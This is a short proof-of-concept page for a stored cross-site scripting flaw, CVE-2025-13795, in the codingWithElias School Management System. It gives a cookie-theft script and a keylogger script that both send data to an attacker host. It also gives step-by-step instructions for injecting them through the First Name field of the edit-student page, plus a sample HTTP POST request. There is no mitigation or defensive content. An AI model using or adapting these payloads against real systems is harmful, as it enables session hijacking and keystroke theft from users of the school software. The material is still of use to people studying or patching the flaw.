CVE-2025-13795 codingWithElias School Management System XSS漏洞

<!-- CVE-2025-13795 PoC: Stored XSS in First Name field --> <!-- Target: codingWithElias School Management System /student-view.php --> <!-- Affected Component: Edit Student Info Page --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Cookie Theft Payload --> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- Keylogger Payload --> <script> document.onkeypress = function(e) { fetch('https://attacker.com/log?key=' + e.key); } </script> <!-- Attack Steps: --> <!-- 1. Navigate to: /student-view.php (Edit Student Info Page) --> <!-- 2. Locate the First Name input field --> <!-- 3. Inject the XSS payload in the First Name parameter --> <!-- 4. Submit the form to save the malicious data --> <!-- 5. When any user views the student information, the XSS will execute --> <!-- Example HTTP POST Request: --> <!-- POST /student-view.php HTTP/1.1 --> <!-- Host: target.com --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- --> <!-- first_name=<script>alert(document.cookie)</script>&last_name=Test&action=update -->